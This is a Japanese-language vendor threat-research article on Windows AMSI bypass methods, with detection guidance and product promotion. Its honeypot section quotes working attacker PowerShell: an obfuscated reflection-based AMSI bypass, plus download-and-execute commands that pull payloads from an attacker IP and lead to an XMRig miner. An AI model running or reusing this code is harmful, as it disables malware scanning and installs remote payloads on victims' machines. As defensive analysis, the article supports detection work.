サイバー脅威
Windows AMSIをバイパスする手口の発見
サイバー犯罪者がセキュリティ機能Windows Antimalware Scan Interface(AMSI)をバイパスする事例を紹介し、企業や組織のセキュリティ部門がTrend Micro Vision One™を使用してこのタイプの脅威を検出する方法について説明します。
Windows Antimalware Scan Interface(AMSI)は、Windowsオペレーティングシステム(OS)に組み込まれたセキュリティ機能であり、端末内のセキュリティ製品とアプリケーションを統合する仕組みを提供します。この仕組みはMicrosoft社によって2015年に導入され、セキュリティソリューションを介してファイルやメモリなどのデータから脅威を検知する際の標準的なインターフェースとして動作します。また、特定のセキュリティベンダに依存しない作りとなっています。本インターフェースは、マルウェアや不正なスクリプトによる各種攻撃からアプリケーションやワークロードを保護する手段として有用であり、システムセキュリティの向上に寄与します。
動作の概要
アプリケーションまたはサービスがセキュリティソリューションを通じてファイルやメモリのスキャンを行う場合、まずAMSIプロバイダに対してリクエストを送ります。AMSIプロバイダは多くの場合、システムにインストール済みのセキュリティソリューション側で用意されています。リクエストを受けたAMSIプロバイダは、自身のマルウェア検知アルゴリズムによってスキャンを実行し、その結果をリクエスト元のアプリケーションまたはサービス側に返却します。AMSIインターフェースは高度に拡張できるように設計されているため、セキュリティソリューション側で必要に応じてスキャン機能を追加できます。
本稿執筆時点で、AMSIでスキャン可能なWindowsコンポーネントとして下記が挙げられます。
- ユーザアカウント制御(UAC:User Account Control)の昇格要求(Windows 10 v.1507以降)
- PowerShell(2.0以降)
- Windows Script Host
- JavaScriptとVBScript
- Office製品のマクロ(VBA)
- Excelのマクロ
- .NETフレームワーク
- Windows Management Instrumentation(WMI)
AMSIの動作確認
端末内でAMSIが正しく稼働しているかを確認する方法が、いくつか存在します。その1つは、マルウェアとして検知されることが知られているデータや文字列を使用してテストすることです。
もう1つの確認方法として、エンドポイント側で下記の操作を実施することが挙げられます。
- PowerShellを起動する。
- 「tasklist /m amsi*」と入力する。
- 「tasklist /m TmAMSIProvider*」などのコマンド入力により、セキュリティソリューションによるAMSIプロバイダを検索する。セキュリティソリューションに複数の製品が含まれる場合、実稼働している製品に応じて、モジュール(module)の名前は変化する。
AMSIバイパス
- 難読化および暗号化
- PowerShellのダウングレード
- フックおよびフック解除
- メモリの書き換え
- エラーの意図的な誘発
- レジストリの書き換え
- DLLの乗っ取り
- リフレクション機能の不正使用
AMSIバイパスの全容は複雑ですが、その目的は、アプリケーションとセキュリティ製品同士を繋ぐAMSIの「鎖」を断つことです。AMSIによる鎖の主な構成要素は、「データプロバイダ」、「amsi.dll」、「AMSIプロバイダ」の3つです。AMSIバイパスを検知する難易度は、先に一覧として記載したバイパス手段毎に異なり、端末内で利用できる機能にも依存します。
AMSIバイパス攻撃を手動で検知
解析者がAMSIバイパスを検知する上では、下記領域を調査することが有用です。
- レジストリ
- コード実行(パターン、ファイル名、関数名など)
- PowerShell 2.0
- AmsiInitialize + VirtualProtect
- GetProcAddress + VirtualProtect
- LoadLibrary + 任意のAMSIまたは関連するDLL
- メモリ
- AMSIまたは関連するDLL(amsi.dllを介したDLL乗っ取り)
- 各種フック機能
HKLM\SOFTWARE\Microsoft\AMSI\Providers\ *\Microsoft\Windows Script\Settings\AmsiEnable COMハイジャック
実際の攻撃に見られるAMSIバイパス
AMSIバイパスによる攻撃事例を確認したところ、そこでは不正なペイロードの読み込み、プロセスインジェクション、暗号資産マイナーのインストールなど、標的やデプロイの進行具合に応じてさまざまな処理が行われていることが分かりました。弊社のハニーポットには、AMSIバイパスによる具体的な攻撃手順を示す履歴が残されていました。その具体例を下記に示します。
- 初期アクセス後、PowerShellスクリプトが起動される
- AMSIバイパス
- システムアーキテクチャに応じたダウンロード処理が実行される
- ps1-6[.]exeによって追加のペイロードがメモリに読み込まれる
- 当該ペイロードによってプロセス「InstallUtil.exe」に対するプロセスホローイングが実行される
- 以上により、暗号資産マイナー「XMRig」のデプロイまたはセットアップ機能を持つペイロードの完全版がダウンロードされる
powershell "IEX(New-Object Net.WebClient).DownloadString('hxxp://89.34.27.167/lol.ps1')"
[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType(("{5}{2}{0}{1}{3}{6}{4}" -f 'ut',('oma'+'t'+'ion.'),'.A',('Ams'+'iUt'),'ls',('S'+'ystem.'+'Manage'+'men'+'t'),'i')).GetField(("{1}{2}{0}" -f ('Co'+'n'+'text'),('am'+'s'),'i'),[Reflection.BindingFlags]("{4}{2}{3}{0}{1}" -f('b'+'lic,Sta'+'ti'),'c','P','u',('N'+'on'))).GetValue($null),0x41414141)
$cc = "http[:]//89.34.27.167"
$is64 = (([Array](Get-WmiObject -Query "select AddressWidth from Win32_Processor"))[0].AddressWidth -eq 64)
$dst="$env:TMP\networkservicess.exe"
(New-Object Net.WebClient).DownloadFile("$cc/ps1-6.exe", "$dst")
Start-Process "$dst" -windowstyle hidden
Trend Micro Vision One™によるAMSIバイパスの検知
AMSIのセキュリティ機能が既知または未知の手段によって回避されるリスクへの対処法を検討するため、今回、「Trend Micro Vision One™」、「Trend Micro Cloud One™のWorkload Security」、「Trend Micro Apex One™」を使用して、AMSIバイパスの実装方式や可視化データを分析しました。これらセキュリティソリューションが収集したエンドポイントやワークロードのデータを解析することで、セキュリティチームや解析チームでは攻撃の状況を俯瞰的に把握し、迅速に対応することが可能です。
Observed Attack Techniques(OATS:観測された攻撃技術)は、他のプロセスやコンポーネントを監視するツールであり、AMSIバイパスを疑わしい(suspicious)事象として識別し、調査対象として扱います。OATの分析結果では、バイパス技術は「High Severity(重大)」として分類され、証跡データとして関連コンポーネントや事象が即座にエンドポイントから収集されます。
バイパスを検知する方式は上述の例に限ったものではありません。解析チームやこれらのセキュリティソリューションは、他にもAMSIレジストリの設定やコマンドの実行、ファイルの変更、プロバイダの操作を始めとする事象からもAMSIバイパスを発見できます。解析者や対策チームは「Trend Micro Vision One」を用いることで、さまざまな製品やツールから得られた検知結果を相互に関連付け、状況をより一層明確に把握することが可能です。
結論
AMSIは脅威インテリジェンスまたは解析ツールとして、従来は不可視とされていたエンドポイント上の攻撃(ファイルレスの脅威など)を検知して可視化するための情報源を、セキュリティ研究者や解析者に提供します。AMSIが導入される以前は、コンポーネントに対するスキャンは行われず、主にハッシュに基づくファイルスキャンやパターン照合、またはヒューリスティック解析が用いられていました。AMSIの導入後は、Windowsコンポーネントも統合され、本セキュリティ機能を通じて自動でスキャンされるようになりました。これにより、セキュリティ解析者や調査チームは、Windows環境の不正なコンポーネントやプロセスをより的確に発見することが可能です。また、ファイルレス攻撃を検知できる結果として、テレメトリ情報で同時検出された広範に及ぶ事象を互いに関連付け、より明確に状況を把握できるようになりました。
以上を踏まえると、AMSIの防御網が攻撃者によってバイパスされると、それがオペレーティングシステム側で発生したかセキュリティソリューション側で発生したかは問わず、監視対象の情報が欠落することになり、結果として、セキュリティ検知、解析、特定(さらに優先度や発生事象への対処)に至る工程に支障が生じます。マルウェアによるシステム侵害の手口が高度化している状況を考慮すると、セキュリティソリューションが持つ機能のわずかな一部分がバイパスされただけでも、企業や組織には相応のリスクと影響が生じるでしょう。セキュリティチーム側でこうした状況に対処するために、システム内のコンポーネントや事象を全て可視化し、長期または短期のスパンでリソース間の関連性や対応優先度を確認可能なプラットフォームを導入することを推奨します。
侵入の痕跡(Indicators of Compromise、IoC)
侵入の痕跡はこちらで確認してください。
MITRE ATT&CK Tactics and Techniques
MITRE ATT&CK Tactics and Techniquesはこちらで確認してください。
参考記事:
Detecting Windows AMSI Bypass Techniques
By: Jiri Sykora
翻訳:清水 浩平(Core Technology Marketing, Trend Micro™ Research)